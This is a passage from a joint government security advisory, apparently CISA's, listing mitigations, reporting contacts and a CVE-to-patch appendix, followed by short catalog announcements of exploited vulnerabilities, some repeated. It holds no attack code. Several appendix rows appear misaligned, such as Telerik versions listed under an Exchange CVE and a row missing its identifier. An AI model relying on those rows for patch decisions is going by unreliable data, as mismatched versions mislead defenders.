- Identify repeatedly exploited classes of vulnerability.
- Perform an analysis of both CVEs and known exploited vulnerabilities (KEVs) to understand which classes of vulnerability are identified more than others.
- Implement appropriate mitigations to eliminate those classes of vulnerability.
- If a product has several instances of SQL injection vulnerabilities, ensure all database queries in the product use parameterized queries and prohibit other forms of queries.
- Ensure business leaders are responsible for security.
- Business leaders should ensure their teams take proactive steps to eliminate entire classes of security vulnerabilities, rather than only making one-off patches when new vulnerabilities are discovered.
- Follow SP 800-218 SSDF and implement secure by design practices into each stage of the SDLC; in particular, aim to perform the following SSDF recommendations:
- Prioritize the use of memory safe languages wherever possible [SSDF PW 6.1].
- Exercise due diligence when selecting software components (e.g., software libraries, modules, middleware, frameworks) to ensure robust security in consumer software products [SSDF PW 4.1].
- Set up secure software development team practices—this includes conducting peer code reviews, working to a common organization secure coding standard, and maintaining awareness of language-specific security concerns [SSDF PW.5.1, PW.7.1, PW.7.2].
- Establish a vulnerability disclosure program to verify and resolve security vulnerabilities disclosed by people who may be internal or external to the organization [SSDF RV.1.3] and establish processes to determine root causes of discovered vulnerabilities.
- Use static and dynamic application security testing (SAST/DAST) tools to analyze product source code and application behavior to detect error-prone practices [SSDF PW.7.2, PW.8.2].
- Configure production-ready products to have the most secure settings by default and provide guidance on the risks of changing each setting [SSDF PW.9.1, PW9.2].
- Prioritize secure by default configurations such as eliminating default passwords, implementing single sign on (SSO) technology via modern open standards, and providing high-quality audit logs to customers with no additional configuration necessary and at no extra charge.
- Ensure published CVEs include the proper CWE field identifying the root cause of the vulnerability to enable industry-wide analysis of software security and design flaws.
For more information on designing secure by design and default products, including additional recommended secure by default configurations, see CISA’s joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security by Design and Default.
End-User Organizations
The authoring agencies recommend end-user organizations implement the mitigations below to improve their cybersecurity posture based on threat actors’ activity. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on CPGs, including additional recommended baseline protections.
Vulnerability and Configuration Management
- Update software, operating systems, applications, and firmware on IT network assets in a timely manner [CPG 1.E].
- Prioritize patching KEVs, especially those CVEs identified in this advisory, then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
- For patch information on CVEs identified in this advisory, refer to the Appendix: Patch Information and Additional Resources for Top Exploited Vulnerabilities.
- If a patch for a KEV or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.
- Replace end-of-life software (i.e., software no longer supported by the vendor).
- Routinely perform automated asset discovery across the entire estate to identify and catalogue all the systems, services, hardware, and software.
- Implement a robust patch management process and centralized patch management system that establishes prioritization of patch applications [CPG 1.A].
- Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs).
- Reputable MSPs can patch applications (such as webmail, file storage, file sharing, chat, and other employee collaboration tools) for their customers.
Note: MSPs and CSPs can expand their customer’s attack surface and may introduce unanticipated risks, so organizations should proactively collaborate with their MSPs and CSPs to jointly reduce risk [CPG 1.F]. For more information and guidance, see the following resources:- CISA Insights’ Risk Considerations for MSP Customers.
- CISA Insights’ Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses.
- ACSC’s How to Manage Your Security When Engaging a MSP.
- Document secure baseline configurations for all IT/OT components, including cloud infrastructure.
- Monitor, examine, and document any deviations from the initial secure baseline [CPG 2.O].
- Perform regular secure system backups and create known good copies of all device configurations for repairs and/or restoration.
- Store copies off-network in physically secure locations and test regularly [CPG 2.R].
- Maintain an updated cybersecurity incident response plan that is tested at least annually and updated within a risk informed time frame to ensure its effectiveness [CPG 2.S].
Identity and Access Management
- Enforce phishing-resistant multifactor authentication (MFA) for all users without exception [CPG 2.H].
- Enforce MFA on all VPN connections.
- Regularly review, validate, or remove unprivileged accounts (annually at a minimum) [CPG 2.D, 2.E].
- Configure access control under the principle of least privilege [CPG 2.O].
- Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (using non-administrative privileges where feasible).
Note: See CISA’s Capacity Enhancement Guide – Implementing Strong Authentication and ACSC’s guidance on Implementing MFA for more information on authentication system hardening.
- Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (using non-administrative privileges where feasible).
Protective Controls and Architecture
- Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices [CPG 2.V, 2.W, 2.X].
- Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP.
- Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting.
- Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM).
- Implement Zero Trust Network Architecture (ZTNA) to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks [CPG 2.F, 2.X].
Note: See CISA’s Zero Trust Maturity Model and the Department of Defense’s Zero Trust Reference Architecture for additional information on Zero Trust. - Continuously monitor the attack surface and investigate abnormal activity that may indicate cyber actor or malware lateral movement [CPG 2.T].
- Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools.
- Consider using an information technology asset management (ITAM) solution to ensure EDR, SIEM, vulnerability scanners, and other similar tools are reporting the same number of assets [CPG 2.T, 2.V].
- Use web application firewalls to monitor and filter web traffic.
- These tools are commercially available via hardware, software, and cloud-based solutions, and may detect and mitigate exploitation attempts where a cyber actor sends a malicious web request to an unpatched device [CPG 2.B, 2.F].
- Implement an administrative policy and/or automated process configured to monitor unwanted hardware, software, or programs against an allowlist with specified, approved versions [CPG 2.Q].
Supply Chain Security
- Reduce third-party applications and unique system/application builds—provide exceptions only if required to support business critical functions [CPG 2.Q].
- Ensure contracts require vendors and/or third-party service providers to:
- Provide notification of security incidents and vulnerabilities within a risk informed time frame [CPG 1.G, 1.H, 1.I].
- Supply a Software Bill of Materials (SBOM) with all products to enhance vulnerability monitoring and to help reduce time to respond to identified vulnerabilities [CPG 4.B].
- Ask your software providers to discuss their secure by design program, provide links to information about how they are working to remove classes of vulnerabilities, and to set secure default settings.
Resources
- For information on the top vulnerabilities routinely exploited in 2016–2019, 2020, 2021, and 2022:
- Joint CSA Top 10 Routinely Exploited Vulnerabilities.
- Joint CSA Top Routinely Exploited Vulnerabilities.
- Joint CSA 2021 Top Routinely Exploited Vulnerabilities.
- Joint CSA 2022 Top Routinely Exploited Vulnerabilities.
- See the Appendix for additional partner resources on the vulnerabilities mentioned in this advisory.
- See ACSC’s Essential Eight Maturity Model for additional mitigations.
- See ACSC’s Cyber Supply Chain Risk Management for additional considerations and advice.
References
Reporting
U.S. organizations: All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov.
Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident at gov.uk/report-cyber (monitored 24 hours).
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA, FBI, NSA, ACSC, CCCS, NCSC-NZ, CERT NZ, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.
Version History
November 12, 2024: Initial version.
Appendix: Patch Information and Additional Resources for Top Exploited Vulnerabilities
CVE | Vendor | Affected Products and Versions | Patch Information | Resources |
---|---|---|---|---|
CVE-2023-3519 | Citrix |
NetScaler ADC and NetScaler Gateway: 13.1 before 13.1-49.13 13.0 before 13.0-91.13 NetScaler ADC: 13.1-FIPS before 13.1-37.159 12.1-FIPS before 12.1-55.297 12.1-NDcPP before 12.1-55.297 |
Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-3467 |
Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells Critical Security Update for NetScaler ADC and NetScaler Gateway |
CVE-2023-4966 | Citrix |
NetScaler ADC and NetScaler Gateway: 14.1 before 14.1-8.50 13.1 before 13.1-49.15 13.0 before 13.0-92.19 NetScaler ADC: 13.1-FIPS before 13.1-37.164 12.1-FIPS before 12.1-55.300 12.1-NDcPP before 12.1-55.300 |
NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966 and CVE-2023-4967 |
#StopRansomware: LockBit 3.0 Ransomware Affiliates Exploit CVE 2023-4966 Citrix Bleed Vulnerability Critical Security Update for NetScaler ADC and NetScaler Gateway |
CVE-2023-20198 | Cisco | Any Cisco IOS XE Software with web UI feature enabled | Multiple Vulnerabilities in Cisco IOS XE Software Web UI Feature | Guidance for Addressing Cisco IOS XE Web UI Vulnerabilities |
CVE-2023-27997 | Fortinet |
FortiOS-6K7K versions: 7.0.10, 7.0.5, 6.4.12 6.4.10, 6.4.8, 6.4.6, 6.4.2 6.2.9 through 6.2.13 6.2.6 through 6.2.7 6.2.4 6.0.12 through 6.0.16 6.0.10 |
Heap buffer overflow in sslvpn pre-authentication | |
CVE-2023-34362 | Progress |
MOVEit Transfer: 2023.0.0 (15.0) 2022.1.x (14.1) 2022.0.x (14.0) 2021.1.x (13.1) 2021.0.x (13.0) 2020.1.x (12.1) 2020.0.x (12.0) or older MOVEit Cloud |
MOVEit Transfer Critical Vulnerability | #StopRansomware: CL0P Ransomware Gang Exploits CVE-2023-34362 MOVEit Vulnerability |
CVE-2023-22515 | Atlassian |
8.0.0, 8.0.1, 8.0.2, 8.0.3, 8.0.4 8.1.0, 8.1.1, 8.1.3, 8.1.4 8.2.0, 8.2.1, 8.2.2, 8.2.38.3.0, 8.3.1, 8.3.2 8.4.0, 8.4.1, 8.4.28.5.0, 8.5.1 |
Broken Access Control Vulnerability in Confluence Data Center and Server | Threat Actors Exploit Atlassian Confluence CVE-2023-22515 for Initial Access to Networks |
(Log4Shell) |
Apache |
Log4j, all versions from 2.0-beta9 to 2.14.1 For other affected vendors and products, see CISA’s GitHub repository. |
Apache Log4j Security Vulnerabilities For additional information, see joint advisory: Mitigating Log4Shell and Other Log4j-Related Vulnerabilities |
Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems |
CVE-2023-2868 | Barracuda Networks | 5.1.3.001 through 9.2.0.006 | Barracuda Email Security Gateway Appliance (ESG) Vulnerability | |
CVE-2022-47966 | Zoho | Multiple products, multiple versions. (For more details, see Security advisory for remote code execution vulnerability in multiple ManageEngine products) | Security advisory for remote code execution vulnerability in multiple ManageEngine products | |
CVE-2023-27350 | PaperCut |
PaperCut MF or NG version 8.0 or later (excluding patched versions) on all OS platforms. This includes: version 8.0.0 to 19.2.7 (inclusive) version 20.0.0 to 20.1.6 (inclusive) version 21.0.0 to 21.2.10 (inclusive) version 22.0.0 to 22.0.8 (inclusive) |
URGENT MF/NG vulnerability bulletin (March 2023) | Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG |
CVE-2020-1472 | Microsoft | Netlogon | Netlogon Elevation of Privilege Vulnerability | Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2023-23397 | Microsoft | Outlook | Microsoft Outlook Elevation of Privilege Vulnerability | Russian Cyber Actors Use Compromised Routers to Facilitate Cyber Operations |
CVE-2023-49103 | ownCloud | graphapi | Disclosure of Sensitive Credentials and Configuration in Containerized Deployments | |
CVE-2023-20273 | Cisco | Cisco IOS XE Software with web UI feature enabled | Multiple Vulnerabilities in Cisco IOS XE Software Web UI Feature | Guidance for Addressing Cisco IOS XE Web UI Vulnerabilities |
CVE-2023-42793 | JetBrains | In JetBrains TeamCity before 2023.05.4 | CVE-2023-42793 Vulnerability in TeamCity: Post-Mortem | Russian Foreign Intelligence Service (SVR) Exploiting JetBrains TeamCity CVE Globally |
CVE-2023-22518 | Atlassian | All versions of Confluence Data Cetner and Confluence Server | Improper Authorization in Confluence Data Center and Server | |
CVE-2023-29492 | — | — | — | |
CVE-2021-27860 | FatPipe |
WARP, MPVPN, IPVPN 10.1.2 and 10.2.2 |
FatPipe CVE List | |
CVE-2021-40539 | Zoho | ManageEngine ADSelfService Plus builds up to 6113 | Security advisory – ADSelfService Plus authentication bypass vulnerability |
ACSC Alert: Critical vulnerability in ManageEngine ADSelfService Plus exploited by cyber actors |
CVE-2023-0669 | Fortra | GoAnywhere versions 2.3 through 7.1.2 | Fortra deserialization RCE | #StopRansomware: CL0P Ransomware Gang Exploits CVE-2023-34362 MOVEit Vulnerability |
CVE-2021-22986 | F5 |
BIG-IP versions: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2 |
K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986 | |
CVE-2019-0708 | Microsoft | Remote Desktop Services | Remote Desktop Services Remote Code Execution Vulnerability | |
CVE-2018-13379 | Fortinet | FortiOS and FortiProxy 2.0.2, 2.0.1, 2.0.0, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.6 | FortiProxy – system file leak through SSL VPN special crafted HTTP resource requests | |
CVE-2023-35078 | Ivanti |
All supported versions of Endpoint Manager Mobile (EPMM), including: Version 11.4 releases 11.10, 11.9 and 11.8 |
CVE-2023-35078 – New Ivanti EPMM Vulnerability | Threat Actors Exploiting Ivanti EPMM Vulnerabilities |
CVE-2023-35081 | Ivanti | All supported versions of Endpoint Manager Mobile (EPMM), including 11.10, 11.9 and 11.8 | CVE-2023-35081 – Remote Arbitrary File Write | Threat Actors Exploiting Ivanti EPMM Vulnerabilities |
CVE-2023-36844 | Juniper |
Juniper Networks Junos OS on SRX Series and EX Series: All versions prior to 20.4R3-S9; 21.1 version 21.1R1 and later versions; 21.2 versions prior to 21.2R3-S7; 21.3 versions prior to 21.3R3-S5; 21.4 versions prior to 21.4R3-S5; 22.1 versions prior to 22.1R3-S4; 22.2 versions prior to 22.2R3-S2; 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; 22.4 versions prior to 22.4R2-S1, 22.4R3; 23.2 versions prior to 23.2R1-S1, 23.2R2. |
2023-08 Out-of-Cycle Security Bulletin: Junos OS: SRX Series and EX Series: Multiple vulnerabilities in J-Web can be combined to allow a preAuth Remote Code Execution | |
CVE-2023-36845 | Juniper |
Juniper Networks Junos OS on SRX Series and EX Series: All versions prior to 20.4R3-S9; 21.1 version 21.1R1 and later versions; 21.2 versions prior to 21.2R3-S7; 21.3 versions prior to 21.3R3-S5; 21.4 versions prior to 21.4R3-S5; 22.1 versions prior to 22.1R3-S4; 22.2 versions prior to 22.2R3-S2; 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; 22.4 versions prior to 22.4R2-S1, 22.4R3; 23.2 versions prior to 23.2R1-S1, 23.2R2. |
2023-08 Out-of-Cycle Security Bulletin: Junos OS: SRX Series and EX Series: Multiple vulnerabilities in J-Web can be combined to allow a preAuth Remote Code Execution | |
CVE-2023-36846 | Juniper |
Juniper Networks Junos OS on SRX Series and EX Series: All versions prior to 20.4R3-S9; 21.1 version 21.1R1 and later versions; 21.2 versions prior to 21.2R3-S7; 21.3 versions prior to 21.3R3-S5; 21.4 versions prior to 21.4R3-S5; 22.1 versions prior to 22.1R3-S4; 22.2 versions prior to 22.2R3-S2; 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; 22.4 versions prior to 22.4R2-S1, 22.4R3; 23.2 versions prior to 23.2R1-S1, 23.2R2. |
2023-08 Out-of-Cycle Security Bulletin: Junos OS: SRX Series and EX Series: Multiple vulnerabilities in J-Web can be combined to allow a preAuth Remote Code Execution | |
CVE-2023-36847 | Juniper |
Juniper Networks Junos OS on SRX Series and EX Series: All versions prior to 20.4R3-S9; 21.1 version 21.1R1 and later versions; 21.2 versions prior to 21.2R3-S7; 21.3 versions prior to 21.3R3-S5; 21.4 versions prior to 21.4R3-S5; 22.1 versions prior to 22.1R3-S4; 22.2 versions prior to 22.2R3-S2; 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; 22.4 versions prior to 22.4R2-S1, 22.4R3; 23.2 versions prior to 23.2R1-S1, 23.2R2. |
2023-08 Out-of-Cycle Security Bulletin: Junos OS: SRX Series and EX Series: Multiple vulnerabilities in J-Web can be combined to allow a preAuth Remote Code Execution | |
CVE-2023-41064 | Apple |
Versions prior to: iOS 16.6.1 and iPadOS 16.6.1, macOS Monterey 12.6.9, macOS Ventura 13.5.2, iOS 15.7.9 and iPadOS 15.7.9, macOS Big Sur 11.7.10 |
About the security content of iOS 16.6.1 and iPadOS 16.6.1 About the security content of macOS Ventura 13.5.2 About the security content of iOS 15.7.9 and iPadOS 15.7.9 |
|
CVE-2023-41061 | Apple | Versions prior to: watchOS 9.6.2, iOS 16.6.1 and iPadOS 16.6.1 |
||
CVE-2021-22205 | GitLab | All versions starting from 11.9 | RCE when removing metadata with ExifTool | |
CVE-2019-11510 | Ivanti | Pulse Secure Pulse Connect Secure versions, 9.0R1 to 9.0R3.3, 8.3R1 to 8.3R7, and 8.2R1 to 8.2R12 | SA44101 – 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX | |
CVE-2023-6448 | Unitronics |
VisiLogic versions before 9.9.00 |
Unitronics Cybersecurity Advisory 2023-001: Default administrative password | |
CVE-2017-6742 | Cisco | Simple Network Management Protocol subsystem of Cisco IOS 12.0 through 12.4 and 15.0 through 15.6 and IOS XE 2.2 through 3.17 | SNMP Remote Code Execution Vulnerabilities in Cisco IOS and IOS XE Software | |
CVE-2021-4034 | Red Hat |
Red Hat Enterprise Linux 6 Red Hat Enterprise Linux 7 Red Hat Enterprise Linux 8 Red Hat Virtualization 4 Any Red Hat product supported on Red Hat Enterprise Linux (including RHEL CoreOS) is also potentially impacted. |
RHSB-2022-001 Polkit Privilege Escalation – (CVE-2021-4034) | Joint CSA: Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2021-26084 | Atlassian | Confluence Server and Data Center, versions 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. | Jira Atlassian: Confluence Server Webwork OGNL injection – CVE-2021-26084 | Joint CSA: Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2021-33044 | Dahua | Various products | — | Joint CSA: Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2021-33045 | Dahua | Various products | — | Joint CSA: Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2022-3236 | Sophos | Sophos Firewall v19.0 MR1 (19.0.1) and older | Resolved RCE in Sophos Firewall (CVE-2022-3236) | Joint CSA: Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2022-26134 | Atlassian | Confluence Server and Data Center, versions: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1 | Confluence Security Advisory 2022-06-02 | Joint CSA: Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure |
CVE-2022-41040 | Microsoft | Microsoft Exchange servers | Microsoft Exchange Server Elevation of Privilege Vulnerability | |
CVE-2023-38831 | RARLAB | WinRAR Versions prior to 6.23 Beta 1 | WinRAR 6.23 Beta 1 Released | |
CVE-2019-18935 | Progress Telerik | Telerik.Web.UI.dll versions:
|
Allows JavaScriptSerializer Deserialization | Threat Actors Exploit Progress Telerik Vulnerabilities in Multiple U.S. Government IIS Servers |
CVE-2021-34473 | Microsoft |
Exchange Server, Multiple Versions: Q1 2011 (2011.1.315) to R2 2017 SP1 (2017.2.621) R2 2017 SP2 (2017.2.711) to R3 2019 (2019.3.917) R3 2019 SP1 (2019.3.1023) R1 2020 (2020.1.114) and later |
Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473 | Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities |
Microsoft Releases October 2024 Security Updates
Microsoft released security updates to address vulnerabilities in multiple products. A cyber threat actor could exploit some of these vulnerabilities to take control of an affected system.
CISA encourages users and administrators to review the following and apply necessary updates:
CISA Adds One Known Exploited Vulnerability to Catalog
CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.
- CVE-2024-8963 Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability
These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.
Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.
Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.
CISA Adds One Known Exploited Vulnerability to Catalog
CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.
- CVE-2024-8963 Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability
These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.
Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.
Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.
CISA Adds Six Known Exploited Vulnerabilities to Catalog
CISA has added six new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.
- CVE-2024-38189 Microsoft Project Remote Code Execution Vulnerability
- CVE-2024-38178 Microsoft Windows Scripting Engine Memory Corruption Vulnerability
- CVE-2024-38213 Microsoft Windows SmartScreen Security Feature Bypass Vulnerability
- CVE-2024-38193 Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability
- CVE-2024-38106 Microsoft Windows Kernel Privilege Escalation Vulnerability
- CVE-2024-38107 Microsoft Windows Power Dependency Coordinator Privilege Escalation Vulnerability
These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.
Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.
Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.